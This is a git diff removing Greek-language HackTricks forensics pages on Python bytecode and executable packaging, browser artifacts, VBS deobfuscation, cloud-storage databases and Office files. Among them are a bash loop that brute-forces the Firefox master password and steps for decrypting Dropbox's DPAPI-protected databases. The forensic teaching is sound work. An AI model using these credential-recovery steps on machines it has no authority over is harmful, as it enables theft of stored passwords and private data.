->>> # Also disassemble that const being loaded (our function) ->>> dis.disassemble(code.co_consts[0]) -2 0 LOAD_CONST 1 ('Hello {0}') -3 LOAD_ATTR 0 (format) -6 LOAD_FAST 0 (name) -9 CALL_FUNCTION 1 -12 PRINT_ITEM -13 PRINT_NEWLINE -14 LOAD_CONST 0 (None) -17 RETURN_VALUE -``` -## Python σε Εκτελέσιμο - -Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν να μεταγλωττιστούν οι payloads σε py2exe και PyInstaller. - -### Για να δημιουργήσετε μια payload χρησιμοποιώντας py2exe: - -1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org) -2. Για την payload (σε αυτή την περίπτωση, θα την ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό που φαίνεται στην Εικόνα 1. Η επιλογή “bundle_files” με την τιμή 1 θα συνδυάσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα exe. -3. Μόλις το σενάριο είναι έτοιμο, θα εκδώσουμε την εντολή “python setup.py py2exe”. Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στην Εικόνα 2. -```python -from distutils.core import setup -import py2exe, sys, os - -sys.argv.append('py2exe') - -setup( -options = {'py2exe': {'bundle_files': 1}}, -#windows = [{'script': "hello.py"}], -console = [{'script': "hello.py"}], -zipfile = None, -) -``` - -```bash -C:\Users\test\Desktop\test>python setup.py py2exe -running py2exe -*** searching for required modules *** -*** parsing results *** -*** finding dlls needed *** -*** create binaries *** -*** byte compile python files *** -*** copy extensions *** -*** copy dlls *** -copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe -Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe -``` -### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller: - -1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller). -2. Μετά από αυτό, θα εκδώσουμε την εντολή “pyinstaller –onefile hello.py” (υπενθύμιση ότι το ‘hello.py’ είναι το payload μας). Αυτό θα συγκεντρώσει τα πάντα σε ένα εκτελέσιμο αρχείο. -``` -C:\Users\test\Desktop\test>pyinstaller --onefile hello.py -108 INFO: PyInstaller: 3.3.1 -108 INFO: Python: 2.7.14 -108 INFO: Platform: Windows-10-10.0.16299 -……………………………… -5967 INFO: checking EXE -5967 INFO: Building EXE because out00-EXE.toc is non existent -5982 INFO: Building EXE from out00-EXE.toc -5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe -6325 INFO: Building EXE from out00-EXE.toc completed successfully. -``` -## Αναφορές - -- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md deleted file mode 100644 index d15d9f444..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ /dev/null @@ -1,41 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Εδώ μπορείτε να βρείτε ενδιαφέροντα κόλπα για συγκεκριμένους τύπους αρχείων και/ή λογισμικό: - -{{#ref}} -.pyc.md -{{#endref}} - -{{#ref}} -browser-artifacts.md -{{#endref}} - -{{#ref}} -desofuscation-vbs-cscript.exe.md -{{#endref}} - -{{#ref}} -local-cloud-storage.md -{{#endref}} - -{{#ref}} -office-file-analysis.md -{{#endref}} - -{{#ref}} -pdf-file-analysis.md -{{#endref}} - -{{#ref}} -png-tricks.md -{{#endref}} - -{{#ref}} -video-and-audio-file-analysis.md -{{#endref}} - -{{#ref}} -zips-tricks.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md deleted file mode 100644 index 757e99f9a..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ /dev/null @@ -1,162 +0,0 @@ -# Browser Artifacts - -{{#include ../../../banners/hacktricks-training.md}} - -## Browsers Artifacts - -Τα αποδεικτικά στοιχεία του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους προγράμματα περιήγησης ιστού, όπως το ιστορικό πλοήγησης, τα σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αποδεικτικά στοιχεία διατηρούνται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα μεταξύ των προγραμμάτων περιήγησης, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων. - -Ακολουθεί μια σύνοψη των πιο κοινών αποδεικτικών στοιχείων του προγράμματος περιήγησης: - -- **Ιστορικό Πλοήγησης**: Παρακολουθεί τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους. -- **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας πληροφορίες όταν συνδυάζονται με το ιστορικό πλοήγησης. -- **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύει ο χρήστης για γρήγορη πρόσβαση. -- **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις προγράμματος περιήγησης ή πρόσθετα που έχει εγκαταστήσει ο χρήστης. -- **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ., εικόνες, αρχεία JavaScript) για να βελτιώσει τους χρόνους φόρτωσης των ιστότοπων, πολύτιμο για την εγκληματολογική ανάλυση. -- **Συνδέσεις**: Αποθηκευμένα διαπιστευτήρια σύνδεσης. -- **Favicons**: Εικονίδια που σχετίζονται με ιστότοπους, που εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη. -- **Συνεδρίες Προγράμματος Περιήγησης**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες προγράμματος περιήγησης. -- **Λήψεις**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του προγράμματος περιήγησης. -- **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης. -- **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων. -- **Custom Dictionary.txt**: Λέξεις που έχει προσθέσει ο χρήστης στο λεξικό του προγράμματος περιήγησης. - -## Firefox - -Ο Firefox οργανώνει τα δεδομένα του χρήστη εντός προφίλ, που αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα: - -- **Linux**: `~/.mozilla/firefox/` -- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` - -Ένα αρχείο `profiles.ini` εντός αυτών των καταλόγων καταγράφει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο που ονομάζεται στη μεταβλητή `Path` εντός του `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί. - -Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία: - -- **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού. -- Χρησιμοποιήστε συγκεκριμένα SQL queries για να εξαγάγετε πληροφορίες ιστορικού και λήψεων. -- **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών. -- **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού. -- **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλων. -- **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού. -- **addons.json** και **extensions.sqlite**: Πληροφορίες σχετικά με εγκατεστημένα πρόσθετα και επεκτάσεις. -- **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows. -- **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Αποθηκεύει favicons. -- **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη. -- **downloads.sqlite**: Παλιότερη βάση δεδομένων λήψεων, τώρα ενσωματωμένη στο places.sqlite. -- **thumbnails**: Μικρογραφίες ιστότοπων. -- **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης. -- **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την ασφάλιση ευαίσθητων πληροφοριών. - -Επιπλέον, η έρευνα για τις ρυθμίσεις κατά της απάτης του προγράμματος περιήγησης μπορεί να γίνει αναζητώντας τις καταχωρίσεις `browser.safebrowsing` στο `prefs.js`, υποδεικνύοντας εάν οι δυνατότητες ασφαλούς πλοήγησης είναι ενεργοποιημένες ή απενεργοποιημένες. - -Για να προσπαθήσετε να αποκρυπτογραφήσετε τον κύριο κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -Με το παρακάτω σενάριο και κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικού πρόσβασης για brute force: -```bash:brute.sh -#!/bin/bash - -#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" -passfile=$1 -while read pass; do -echo "Trying $pass" -echo "$pass" | python firefox_decrypt.py -done < $passfile -``` -![](<../../../images/image (417).png>) - -## Google Chrome - -Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα: - -- **Linux**: `~/.config/google-chrome/` -- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` -- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` - -Μέσα σε αυτούς τους καταλόγους, τα περισσότερα δεδομένα χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα παρακάτω αρχεία περιέχουν σημαντικά δεδομένα: - -- **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για να διαβαστεί το ιστορικό. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδων. -- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). -- **Cache**: Περιέχει δεδομένα cache. Για επιθεώρηση, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: Σελιδοδείκτες χρηστών. -- **Web Data**: Περιέχει ιστορικό φορμών. -- **Favicons**: Αποθηκεύει τα favicons ιστοσελίδων. -- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης. -- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες. -- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τους ιστότοπους που ήταν ενεργοί κατά την τελευταία συνεδρία πριν κλείσει ο Chrome. -- **Extensions**: Κατάλογοι για επεκτάσεις και πρόσθετα του προγράμματος περιήγησης. -- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων. -- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα. -- **Browser’s built-in anti-phishing**: Για να ελέγξετε αν είναι ενεργοποιημένη η προστασία κατά του phishing και του κακόβουλου λογισμικού, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στην έξοδο. - -## **SQLite DB Data Recovery** - -Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν **SQLite** βάσεις δεδομένων για να αποθηκεύσουν τα δεδομένα. Είναι δυνατόν να **ανακτηθούν διαγραμμένες εγγραφές χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). - -## **Internet Explorer 11** - -Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, διευκολύνοντας τη διαχωριστική αποθήκευση των πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση. - -### Metadata Storage - -Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (με το VX να είναι V01, V16 ή V24). Συνοδευόμενο από αυτό, το αρχείο `V01.log` μπορεί να δείξει διαφορές χρόνου τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή κοντέινερ όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων των λεπτομερειών cache για άλλα εργαλεία της Microsoft όπως το Skype. - -### Cache Inspection - -Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία του φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν το όνομα αρχείου, τον κατάλογο, τον αριθμό πρόσβασης, την προέλευση URL και χρονικές σφραγίδες που υποδεικνύουν τους χρόνους δημιουργίας, πρόσβασης, τροποποίησης και λήξης της cache. - -### Cookies Management - -Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με τα μεταδεδομένα να περιλαμβάνουν ονόματα, URLs, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με τον χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα cookies συνεδρίας να βρίσκονται στη μνήμη. - -### Download Details - -Τα μεταδεδομένα λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα κοντέινερ να περιέχουν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν κάτω από `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. - -### Browsing History - -Για να αναθεωρήσετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη ρύθμιση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, καθώς και αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`. - -### Typed URLs - -Οι πληκτρολογημένες URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο κάτω από `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 URLs που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισόδου τους. - -## Microsoft Edge - -Ο Microsoft Edge αποθηκεύει τα δεδομένα χρηστών στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι: - -- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` - -## Safari - -Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Κύρια αρχεία περιλαμβάνουν: - -- **History.db**: Περιέχει πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε το `sqlite3` για να κάνετε ερωτήσεις. -- **Downloads.plist**: Πληροφορίες σχετικά με τα ληφθέντα αρχεία. -- **Bookmarks.plist**: Αποθηκεύει τα URLs που έχουν προστεθεί στους σελιδοδείκτες. -- **TopSites.plist**: Οι πιο συχνά επισκεπτόμενοι ιστότοποι. -- **Extensions.plist**: Λίστα με τις επεκτάσεις του προγράμματος περιήγησης Safari. Χρησιμοποιήστε το `plutil` ή το `pluginkit` για να ανακτήσετε. -- **UserNotificationPermissions.plist**: Τομείς που επιτρέπεται να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε το `plutil` για να αναλύσετε. -- **LastSession.plist**: Καρτέλες από την τελευταία συνεδρία. Χρησιμοποιήστε το `plutil` για να αναλύσετε. -- **Browser’s built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η δυνατότητα είναι ενεργή. - -## Opera - -Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και μοιράζονται τη μορφή του Chrome για ιστορικό και λήψεις. - -- **Browser’s built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences είναι ρυθμισμένο σε `true` χρησιμοποιώντας `grep`. - -Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύονται από διάφορους ιστότοπους. - -## References - -- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) -- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) -- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md deleted file mode 100644 index 04ed61d67..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ /dev/null @@ -1,42 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Ορισμένα πράγματα που θα μπορούσαν να είναι χρήσιμα για την αποσφαλμάτωση/αποσυμπίεση ενός κακόβουλου αρχείου VBS: - -## echo -```bash -Wscript.Echo "Like this?" -``` -## Σχόλια -```bash -' this is a comment -``` -## Δοκιμή -```bash -cscript.exe file.vbs -``` -## Γράψτε δεδομένα σε ένα αρχείο -```js -Function writeBinary(strBinary, strPath) - -Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - -' below lines purpose: checks that write access is possible! -Dim oTxtStream - -On Error Resume Next -Set oTxtStream = oFSO.createTextFile(strPath) - -If Err.number <> 0 Then MsgBox(Err.message) : Exit Function -On Error GoTo 0 - -Set oTxtStream = Nothing -' end check of write access - -With oFSO.createTextFile(strPath) -.Write(strBinary) -.Close -End With - -End Function -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md deleted file mode 100644 index f5bb5a95d..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ /dev/null @@ -1,97 +0,0 @@ -# Τοπική Αποθήκευση Cloud - -{{#include ../../../banners/hacktricks-training.md}} - - -## OneDrive - -Στα Windows, μπορείτε να βρείτε τον φάκελο OneDrive στο `\Users\\AppData\Local\Microsoft\OneDrive`. Και μέσα στο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει κάποια ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία: - -- Μέγεθος σε bytes -- Ημερομηνία δημιουργίας -- Ημερομηνία τροποποίησης -- Αριθμός αρχείων στο cloud -- Αριθμός αρχείων στον φάκελο -- **CID**: Μοναδικό ID του χρήστη OneDrive -- Χρόνος δημιουργίας αναφοράς -- Μέγεθος του HD του OS - -Αφού βρείτε το CID, συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορεί να μπορέσετε να βρείτε αρχεία με το όνομα: _**\.ini**_ και _**\.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίστηκαν με το OneDrive. - -## Google Drive - -Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο Google Drive στο `\Users\\AppData\Local\Google\Drive\user_default`\ -Αυτός ο φάκελος περιέχει ένα αρχείο που ονομάζεται Sync_log.log με πληροφορίες όπως τη διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κ.λπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5. - -Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, τον χρόνο τροποποίησης, το μέγεθος και το MD5 checksum των αρχείων. - -Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινών φακέλων και την έκδοση του Google Drive. - -## Dropbox - -Το Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για να διαχειρίζεται τα αρχεία. Σε αυτό\ -Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους: - -- `\Users\\AppData\Local\Dropbox` -- `\Users\\AppData\Local\Dropbox\Instance1` -- `\Users\\AppData\Roaming\Dropbox` - -Και οι κύριες βάσεις δεδομένων είναι: - -- Sigstore.dbx -- Filecache.dbx -- Deleted.dbx -- Config.dbx - -Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Το Dropbox χρησιμοποιεί **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) - -Για να κατανοήσετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί το Dropbox, μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). - -Ωστόσο, οι κύριες πληροφορίες είναι: - -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 - -Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε επίσης: - -- Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξάγετε αυτά τα δεδομένα ως δυαδικά) -- Τις **hives** **`SYSTEM`** και **`SECURITY`** -- Τα **master keys DPAPI**: Τα οποία μπορούν να βρεθούν στο `\Users\\AppData\Roaming\Microsoft\Protect` -- Το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του χρήστη Windows - -Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** - -![](<../../../images/image (448).png>) - -Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **χρησιμοποιήσετε για να ανακτήσετε το αρχικό**. Για να ανακτήσετε το αρχικό, απλώς χρησιμοποιήστε αυτή τη [συνταγή cyber_chef]() βάζοντας το κύριο κλειδί ως "passphrase" μέσα στη συνταγή. - -Το προκύπτον hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων που μπορεί να αποκρυπτογραφηθεί με: -```bash -sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db -``` -Η **`config.dbx`** βάση δεδομένων περιέχει: - -- **Email**: Το email του χρήστη -- **usernamedisplayname**: Το όνομα του χρήστη -- **dropbox_path**: Διαδρομή όπου βρίσκεται ο φάκελος του dropbox -- **Host_id: Hash** που χρησιμοποιείται για την αυθεντικοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το διαδίκτυο. -- **Root_ns**: Αναγνωριστικό χρήστη - -Η **`filecache.db`** βάση δεδομένων περιέχει πληροφορίες σχετικά με όλα τα αρχεία και τους φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός με τις πιο χρήσιμες πληροφορίες: - -- **Server_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη). -- **local_sjid**: Έκδοση του αρχείου -- **local_mtime**: Ημερομηνία τροποποίησης -- **local_ctime**: Ημερομηνία δημιουργίας - -Άλλοι πίνακες μέσα σε αυτή τη βάση δεδομένων περιέχουν πιο ενδιαφέρουσες πληροφορίες: - -- **block_cache**: hash όλων των αρχείων και φακέλων του Dropbox -- **block_ref**: Συσχετίζει το hash ID του πίνακα `block_cache` με το ID του αρχείου στον πίνακα `file_journal` -- **mount_table**: Κοινόχρηστοι φάκελοι του dropbox -- **deleted_fields**: Διαγραμμένα αρχεία του Dropbox -- **date_added** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md deleted file mode 100644 index a101c8214..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ /dev/null @@ -1,18 +0,0 @@ -# Ανάλυση αρχείων Office - -{{#include ../../../banners/hacktricks-training.md}} - -Για περισσότερες πληροφορίες, ελέγξτε [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς μια περίληψη: - -Η Microsoft έχει δημιουργήσει πολλούς τύπους εγγράφων Office, με τους δύο κύριους τύπους να είναι οι **OLE formats** (όπως RTF, DOC, XLS, PPT) και οι **Office Open XML (OOXML) formats** (όπως DOCX, XLSX, PPTX). Αυτοί οι τύποι μπορούν να περιλαμβάνουν μακροεντολές, καθιστώντας τους στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως zip containers, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή αρχείων και φακέλων και το περιεχόμενο των αρχείων XML. - -Για να εξερευνήσετε τις δομές αρχείων OOXML, παρέχονται η εντολή για την αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία έχουν τεκμηριωθεί, υποδεικνύοντας συνεχιζόμενη καινοτομία στην απόκρυψη δεδομένων εντός προκλήσεων CTF. - -Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα σύνολα εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των OOXML. Αυτά τα εργαλεία βοηθούν 